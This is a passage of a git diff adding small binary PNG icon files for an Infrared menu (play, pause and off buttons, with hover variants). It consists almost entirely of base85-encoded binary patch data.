z_+RX?XuJOq*$>SrAAimSKi%*6f1AgtG2Tj77pCfp^!zcYmZ}^tULs?0^Vqgcwi~YAXe?fq-m4AlpAdTy;m|OBvzxcaexgAtY)@!<6*3R~yQ3$N7yOFD_lN|4lSOGsEe^=|`d(akvMW`aM zDEw?Q1oCGJ9tbbg&&9%H{Zt_x5H9v8{Fd{pM1PZ`|E3fqPzZ4( zQp^sB0)r%gV6cQ3(8kWj7Knr(ByGh(C@2aAJ!Ro{bPrcMtT)0PrDTui5ziIAg-*Ew z2%N5<;9sr19Z)}(2TvGK3<~`3go*x2SoFt6^IOKUqW_(fUo@$r+|l@i)!kj4PwDW$ z;+q_1`=5J6;{Vwrc*cJC{~a^GdJOa*{ZB)eJq`R%J0?D#pECSTjNjNrf8W`EttFnv z|I6R68u`DR0s#1Tl7GbSzjXae*FR$59~u8!UH{Vcj~Mtz#{X8={~BGCe|#IFT<~va z-uN%Sr+1xr@n4N(`Z`8x`1{GpN&ZCE6#j|O=8A?Y!Cg{LP5j^tM$_DbfPjkr$3;kx z_K*cHB*$v$s*x|8p*TY#X?@e93NO;pQdKgd7(?P(Ti>^0PEKaX!jDf*AY#KOC$EFj zi*RrHTJ;my(p|tHkYuWL;!r_oxW6a-m{m T&A>rCE`gSso@%+Wb;y4K-_9ky literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/Off_hvr_25x27.png b/assets/icons/Infrared/Off_hvr_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..d5e5e6f45d78e070d06e033bd529d0067de94301 GIT binary patch literal 8460 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 literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/Pause_25x27.png b/assets/icons/Infrared/Pause_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..a371ba81718e864efe908e61f34bc842079cc20d GIT binary patch literal 3634 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 literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/Pause_hvr_25x27.png b/assets/icons/Infrared/Pause_hvr_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..472d583db0ff9adc5ef810675c8b915c6e5a899c GIT binary patch literal 3623 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 HpN{x9W3^Ap literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/Play_hvr_25x27.png b/assets/icons/Infrared/Play_hvr_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..6708dcdbf2c7ac0c656bbb1c2441fb0f4d6fc9c5 GIT binary patch literal 3643 zcmaJ@c{r478-GRiEm@Lu#*i&$jI|jvmYK0{VPw!Y#u$^vj4?Hqk|kR@B-tY>`%+OP zWDO-mN%m|>4!&cFlbCOub2{Jm$Jh5>@B2LWb6@xGcdyTNy>Z9wEkpzl3IYHiVr7YS z;_R}VPmZ6Pvp#3Pa|ZxHGYSTC+zNvM(HS&v%6Sq11P*6AlX1@T(x{E`HMC7^*ex5H zlN3M52^}9MnWU_)ARulXtB^M&<=DK>%#25_GdGqyAtCI#l%t05HNg*jGYWSTBJags zd$lzga?kgD{l=&6ohO4vb7ia9RlR&o{KBc0I*xi_!o}#r`#wf?w6#ypKup2~mFR#t zf0dU)z_ub6uo;R(9tAh?JqNe~-wN>qO?FvLT8CoTVqef1C%M9|ay2oNj@j^sNdhLp z3FrdA#GETEJ6+is$mIdfb`d?Nf#aIMS(PiF-U4CSn;9WofX6KbDX!ck0JNVJiv@fP zfwJBc*USLC79iq89Al%@0G<%wY^S1PAaFGU zkThR$MgD%YLVQl0Q>lzfWUUh1EZl=%)1S}P6>?a$$4cg?q&{H}A=3oX5|kmU9j+_( 